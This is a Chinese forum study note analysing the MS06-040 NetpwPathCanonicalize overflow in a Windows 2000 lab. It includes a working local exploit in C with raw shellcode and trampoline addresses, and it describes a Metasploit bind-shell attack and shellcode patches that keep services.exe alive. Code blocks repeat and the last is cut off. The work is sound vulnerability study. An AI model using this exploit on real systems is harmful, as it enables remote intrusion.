首页
社区
课程
招聘
[原创][完]0day安全学习笔记:MS06-040漏洞分析
发表于: 2021-5-31 14:21 10544

[原创][完]0day安全学习笔记:MS06-040漏洞分析

2021-5-31 14:21
10544

代码说明:大部分代码来源于0day,有我自己的修改,贴出的代码是我在实验过程中使用的,有出错→修正→调试的一个过程,最终代码以附件中为准。

MS06-040位于netapi32.dll动态链接库的导出函数NetpwPathCanonicalize()中,该函数可以被RPC远程调用,其原型为:

功能就是将prefixpath使用\字符相连,输出到can_path中,maxbuf为输出的最大长度。

为查明漏洞成因,使用以下代码对其进行调试,实验使用的是Win2000SP4中的netapi32.dll。

在计算字符串长度的时候使用的是wcslen函数,该函数用来计算宽字符串长度,因此在计算大小为0x10E字节(不包括结束字符)的prefix长度时,返回的结果为0x87,计算大小为0x31e字节(不包括结束字符)的path长度时,返回的结果为0x18f

在将字符串复制到栈中的时候,程序保留了0x414字节的空间:

图片描述

在计算空间是否足够的时候,比较的是0x18f+0x87+1=0x2170x411的大小

这样计算得到的结论当然是空间足够,之后进行了wcscat的调用,将两组字符串都复制到栈中,在此之前,观察EBP的值为0x12f698,字符串复制完之后,查看栈中的情况:

图片描述

在调试的时候,我比较疑惑0x411这个数字是怎么回事,是根据程序动态变化的,还是写死在代码里面的,于是仔细检查了一下。

如果在代码级别修改,调高prefixpath的大小,让两者之和大于0x822(按照代码中的检查逻辑就比0x411大了),结果发现程序根本没有到达CanonicalizePathName函数的调用。

后来调试了一下,发现在到达漏洞触发点之前,NetpwPathCanonicalize()函数会调用NetpwPathType函数,检查prefix的长度是否越界:

图片描述

上图检查了prefix的长度是否超过了0x103。所以这次设置prefix的大小为0x206path的大小为0x630,最终发现0x411这个数值并没有发生变化,由于总长度为(0x206-2+0x630-2)\2+1=0x41A,超过了0x411,所以函数直接返回了0x7B(ERROR_INVALID_NAME)

所以说0x411这个数是写死的。

仔细观察一下函数返回时栈中的情况以及寄存器的情况,寄存器:

图片描述

而在栈中,prefix的起始地址为0x12f284,和ECX的值相同,所以可以把jmp ecx作为跳板指令,

prefix的长度为0x100shellcode的长度为0xa8,可以放到prefix中,从上图中可以看到返回地址位于path的倒数9-12字节,所以得到下面的漏洞利用代码:

其中0x7e490678为内存中jmp ecx所在的地址。

但是上面的代码出现了问题,通过调试,程序可以执行到shellcode的位置,但是……

图片描述

执行到这里的时候,sub esp, ebx之后,得到esp的值为0x12f2a8,注意这里,这个地址已经是shellcode所在的位置了,也就是说之后的入栈操作会直接覆盖下面的shellcode指令,然后就变成了这样,/(ㄒoㄒ)/~~

图片描述

我不知道自己实践过程中和0day有什么差异导致了现在这种结果,但是现在要想办法解决了,修改shellcode显然太麻烦了,鉴于prefix中还有足够的空间,所以可以直接改变shellcode的位置,把新的栈顶位置0x12f2a8绕过去。

最终的代码:

最终成功执行shellcode!

图片描述

攻击机:

操作系统:kali 5.10.0-kali7-686-pae

IP地址:192.168.6.70

靶机:

操作系统:Windows2000 Pro

IP地址:192.168.6.21

首先确定靶机开启的端口:

可以看到打开了445端口。

之后根据书里说的,把exploit脚本放到msf的目录里,因为msf的版本不同,所以要对书里的代码做一些修改:

如果不修改代码,在执行reload_all之后仍然找不到自己的脚本。

最后的配置是这样的:

这时执行exploit并没有成功,靶机提示services意外关闭,然后重启了,这也很正常,我用的win2000系统版本不同,所以需要修改payload。

将OD附加到services上,然后在NetpwPathCanonicalize上下一个断点,F9继续执行。

回到攻击机上,执行exploit,再回到靶机,发现OD已经断在了NetpwPathCanonicalize上,然后一直单步,到达retn 14语句,可以看到此时栈中的情况

图片描述

再一次单步,到达了这个修改的返回地址

图片描述

显然,由于系统版本的问题,这里的指令并不是预期的jmp esp,与此同时,在我使用的靶机上,可以看到ecx的值为0x142f644,正是shellcode的起始位置,也就是在这个靶机上仍然可以使用jmp ecx这个跳板(并不是/(ㄒoㄒ)/~~)。

使用jmp ecx的时候发现并不稳定,所以最后使用的还是jmp esp,需要重新搜索这个指令的地址,找到了0x77e19eb8

只需要把代码开头的返回地址修改成0x77e19eb8就行了

这次还是调试services,看一下再次执行到retn 0x14的时候OD的情况:

图片描述

看起来都很正常,继续单步也可以进入shellcode执行。最后不再使用OD调试,直接执行exploit,msf没有输出,但是再开一个命令行使用telnet连接,已经可以连接到靶机上了:

图片描述

虽然成功连接到了靶机上,但是靶机很快就崩溃重启了,原因在于使用的shellcode最后调用了ExitProcess(),也就是说我们直接退出了services进程,这样电脑当然会崩溃。

所以需要重新修改一下shellcode,根据深入浅出MS06-040(看雪网络版)所说:

函数返回是通过ret时三个重要的寄存器EBP, EIP, ESP的内容来实现的,只要在shellcode结束时恢复这三个寄存器的内容,就可以让函数正常返回

所以现在要找到溢出之前这三个值都是什么。

对于EIP的值,这个值对于同一个DLL来说应该是不变的,重新回顾一下,漏洞发生在NetpwPathCanonicalize函数中的一次函数调用,所以我们恢复的应该是该函数调用后下一条指令的地址,在我这里是0x75107B78

而其他两个寄存器的值,我们可以对比一下发生溢出和不发生溢出时,漏洞函数执行前后这两个寄存器的值有什么变化:

图片描述

所以说我们需要恢复的只有EBP寄存器的值,而这个值比ESP的值大了0xC。

之前并没有仔细看shellcode的内容,和书中一样用的bindshell的shellcode,这是一个通用的shellcode,因此里面包含了搜索DLL地址,搜索API函数地址,以及计算哈希以实现代码压缩的功能,考虑篇幅原因,这里不再贴出具体汇编代码,为了说明如何恢复寄存器的值,在这里使用【原shellcode】指代书中提供的汇编代码。

上面的汇编代码能够成立的前提是原shellcode本身是堆栈平衡的(其实不止这一个问题),但是很不幸,它不是(因为我实验的时候services又崩溃了,/(ㄒoㄒ)/~~)

把上面的汇编代码写到程序里,编译,使用OD调试,可以获得对应的机器码

接下来只要使用上面的机器码替换msf的exploit脚本中的机器码就可以了。

就是在这里,services又崩溃了,因为堆栈不平衡,解决方法看下面的第三个问题。

add esp, 0x428 包含两个字节的\x00?

但是原本书中提供的代码也包含这个指令,却没有这个问题,后来我用书中提供的机器码翻译成汇编语言,发现得到的是add sp, 0x428,sp指的是esp的低16位,在当前情况中是可以这样使用的,所以问题解决

call [esi - 0x1c] ; 指向的内容不对?

执行到最后的调用指令,即调用CreateProcessA的时候,在OD中发现该地址位置包含的数值为0x411,后来仔细阅读了一下前面的汇编代码,发现书中有一句指令被注释了,应该是PDF格式的排版问题

图片描述

原本的shellocode堆栈不平衡怎么办?

由于原本的shellcode堆栈不平衡,这就导致在自己在前后添加的汇编指令没能得到预期的执行结果。

为了避免一句一句的看汇编代码,分析堆栈变化情况,我打算直接根据调试结果,调整汇编代码最后的add esp, 0x428中的数值。在调试的时候,执行完shellcode开头的push ebp push esp之后,栈中的情况是这样的:

图片描述

也就是说保存的esp和ebp分别保存在了地址0x162FA6C0x162FA70的位置,继续调试,执行到shellcode最后的mov ecx, 0x75107B78指令时,此时的ESP寄存器值为0x162F360,和0x162FA6C相差0x70C,所以直接把shellcode最后一行中的\x28\x04修改为\x0c\x07

然后,又崩溃了……/(ㄒoㄒ)/~~,问题在于下一点。

除了恢复三个寄存器的值,还有返回地址要恢复!

其实正常来说,确实只需要考虑ESP, EBP和EIP三个寄存器就可以了,但是在我修改shellcode的过程中,添加的代码太多了,回顾一下,我在开头添加的这几句指令:

它的机器码最终要放在path变量中的返回地址(指向jmp esp)的后面,也就是说它会覆盖栈中原本保存的的一些变量,如果长度过长,就可能覆盖下一个栈帧的返回地址,导致函数无法正常返回。

而在漏洞函数之后,代码是这样的

图片描述

而上面的汇编指令对应的机器码就是16个字节,但是再加上unicode字符串结尾的两个字节,就是18个字节,会覆盖下个栈帧的返回地址。

其实哪怕不考虑返回地址,这四个pop指令要恢复之前ESI EDI EBX EBP寄存器的值,现在也不确定这四个寄存器的值的改变会不会影响程序的执行,因此应该保证添加的这几句指令占用的空间越少越好。

所以我把shellcode修改成了这样:

前面的四句指令占用10个字节\x54\x66\x81\xEC\x28\x04\x8B\xC4\xFF\xE4,加上字符串结尾的两个字节一共12个字节,

最终的msf脚本见附件。这个时候就能成功入侵靶机,并且不会再导致services崩溃了(我等了一段时间,在攻击机上执行了几个简单的指令,没发生崩溃)。

可以看到任务管理器里面的cmd进程:

图片描述

这次对于ms06_040漏洞的分析过程中,漏洞的原理还是比较简单的,难点其实在于后期的远程利用以及对于shellcode的修改,和正常的编程相比,shellcode的编写必须更加仔细,而且要时刻保持”短小精悍“。

其实我认为上面的代码还是存在一些缺陷的,因为使用jmp esp做跳板,栈中保存的一些数据就必然会被覆盖一部分,当从shellcode回到正常代码之后,就会影响到寄存器值的恢复。

后来实验的过程中,我发现使用jmp ecx作为跳板应该还是有机会的,我不知道自己第一次使用jmp ecx做远程攻击时为什么会出现问题,但是后来那个问题就没再出现。

我也尝试使用jmp ecx做跳板进行了实验,shellcode的改动其实不大,就是esp寄存器的数值需要做调整,但是不知道为什么,shellcode在执行到WSASocketA函数调用的时候会失败(・∀・(・∀・(・∀・*)

之后应该还会尝试jmp ecx的方法,但是不知道啥时候弄完了,这篇文章暂时到此为止。

int NetpwPathCanonicalize (
    uint16  path[ ],     //   [in]  path name
    uint8  can_path[ ],  //    [out]  canonicalized path
    uint32  maxbuf,      //  [inmax size of can_path
    uint16  prefix[ ],   //  [in]  path prefix
    uint32*  pathtype,   //  [in out]  path type
    uint32  pathflags    //  [in]  path flags, 0 or 1
);
int NetpwPathCanonicalize (
    uint16  path[ ],     //   [in]  path name
    uint8  can_path[ ],  //    [out]  canonicalized path
    uint32  maxbuf,      //  [inmax size of can_path
    uint16  prefix[ ],   //  [in]  path prefix
    uint32*  pathtype,   //  [in out]  path type
    uint32  pathflags    //  [in]  path flags, 0 or 1
);
 
#include <windows.h>
typedef void (*MYPROC)(LPTSTR, LPTSTR, int, LPTSTR, long *, long);
 
int main() {
    char path[0x320];
    char can_path[0x440];
    int maxbuf = 0x440;
    char prefix[0x100];
    long pathtype = 44;
 
    HINSTANCE LibHandle;
    MYPROC Trigger;
    char dll[] = "./netapi32.dll";
    char VulFunc[] = "NetpwPathCanonicalize";
    LibHandle = LoadLibrary(dll);
    Trigger = (MYPROC)GetProcAddress(LibHandle, VulFunc);
    memset(path, 0, sizeof(path));
    memset(path, 'a', sizeof(path) - 2);
    memset(prefix, 0, sizeof(prefix));
    memset(prefix, 'b', sizeof(prefix) - 2);
 
    (Trigger)(path, can_path, maxbuf, prefix, &pathtype, 0);
    FreeLibrary(LibHandle);
 
    return 0;
}
#include <windows.h>
typedef void (*MYPROC)(LPTSTR, LPTSTR, int, LPTSTR, long *, long);
 
int main() {
    char path[0x320];
    char can_path[0x440];
    int maxbuf = 0x440;
    char prefix[0x100];
    long pathtype = 44;
 
    HINSTANCE LibHandle;
    MYPROC Trigger;
    char dll[] = "./netapi32.dll";
    char VulFunc[] = "NetpwPathCanonicalize";
    LibHandle = LoadLibrary(dll);
    Trigger = (MYPROC)GetProcAddress(LibHandle, VulFunc);
    memset(path, 0, sizeof(path));
    memset(path, 'a', sizeof(path) - 2);
    memset(prefix, 0, sizeof(prefix));
    memset(prefix, 'b', sizeof(prefix) - 2);
 
    (Trigger)(path, can_path, maxbuf, prefix, &pathtype, 0);
    FreeLibrary(LibHandle);
 
    return 0;
}
 
 
 
 
 
 
 
 
 
 
 
 
 
#include <windows.h>
typedef void (*MYPROC)(LPTSTR, LPTSTR, int, LPTSTR, long *, long);
 
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8";
 
int main() {
    char path[0x320];
    char can_path[0x440];
    int maxbuf = 0x440;
    char prefix[0x100];
    long pathtype = 44;
 
    HINSTANCE LibHandle;
    MYPROC Trigger;
    char dll[] = "./netapi32.dll";
    char VulFunc[] = "NetpwPathCanonicalize";
    LibHandle = LoadLibrary(dll);
    Trigger = (MYPROC)GetProcAddress(LibHandle, VulFunc);
    memset(path, 0, sizeof(path));
    memset(path, 0x90, sizeof(path) - 2);
    memset(prefix, 0, sizeof(prefix));
    memset(prefix, 'a', sizeof(prefix) - 2);
    memcpy(prefix, shellcode, 168);
    path[0x318] = 0x78;
    path[0x319] = 0x06;
    path[0x31a] = 0x49;
    path[0x31b] = 0x7e;
 
    (Trigger)(path, can_path, maxbuf, prefix, &pathtype, 0);
    FreeLibrary(LibHandle);
 
    return 0;
}
#include <windows.h>
typedef void (*MYPROC)(LPTSTR, LPTSTR, int, LPTSTR, long *, long);
 
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8";
 
int main() {
    char path[0x320];
    char can_path[0x440];
    int maxbuf = 0x440;
    char prefix[0x100];
    long pathtype = 44;
 
    HINSTANCE LibHandle;
    MYPROC Trigger;
    char dll[] = "./netapi32.dll";
    char VulFunc[] = "NetpwPathCanonicalize";
    LibHandle = LoadLibrary(dll);
    Trigger = (MYPROC)GetProcAddress(LibHandle, VulFunc);
    memset(path, 0, sizeof(path));
    memset(path, 0x90, sizeof(path) - 2);
    memset(prefix, 0, sizeof(prefix));
    memset(prefix, 'a', sizeof(prefix) - 2);
    memcpy(prefix, shellcode, 168);
    path[0x318] = 0x78;
    path[0x319] = 0x06;
    path[0x31a] = 0x49;
    path[0x31b] = 0x7e;
 
    (Trigger)(path, can_path, maxbuf, prefix, &pathtype, 0);
    FreeLibrary(LibHandle);
 
    return 0;
}
 
 
 
 
#include <windows.h>
typedef void (*MYPROC)(LPTSTR, LPTSTR, int, LPTSTR, long *, long);
 
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"          // 在这里加了48个字节的nop
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8";
 
int main() {
    char path[0x320];
    char can_path[0x440];
    int maxbuf = 0x440;
    char prefix[0x100];
    long pathtype = 44;
 
    HINSTANCE LibHandle;
    MYPROC Trigger;
    char dll[] = "./netapi32.dll";
    char VulFunc[] = "NetpwPathCanonicalize";
    LibHandle = LoadLibrary(dll);
    Trigger = (MYPROC)GetProcAddress(LibHandle, VulFunc);
    memset(path, 0, sizeof(path));
    memset(path, 0x90, sizeof(path) - 2);
    memset(prefix, 0, sizeof(prefix));
    memset(prefix, 'a', sizeof(prefix) - 2);
    memcpy(prefix, shellcode, 0xd8);                  // 注意这里的长度要修改
    path[0x318] = 0x78;
    path[0x319] = 0x06;
    path[0x31a] = 0x49;
    path[0x31b] = 0x7e;
 
    //__asm int 3
    (Trigger)(path, can_path, maxbuf, prefix, &pathtype, 0);
    FreeLibrary(LibHandle);
 
    return 0;
}
#include <windows.h>
typedef void (*MYPROC)(LPTSTR, LPTSTR, int, LPTSTR, long *, long);
 
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"          // 在这里加了48个字节的nop
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8";
 
int main() {
    char path[0x320];
    char can_path[0x440];
    int maxbuf = 0x440;
    char prefix[0x100];
    long pathtype = 44;
 
    HINSTANCE LibHandle;
    MYPROC Trigger;
    char dll[] = "./netapi32.dll";

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2021-6-7 14:09 被LarryS编辑 ,原因: 完结
上传的附件:
收藏
免费 2
支持
分享
最新回复 (1)
雪    币: 12125
活跃值: (10424)
能力值: ( LV13,RANK:660 )
在线值:
发帖
回帖
粉丝
2
关于最后`WSASocketA`函数调用失败的原因,如果有人直到就太好了
2021-6-7 14:11
0
游客
登录 | 注册 方可回帖
返回
//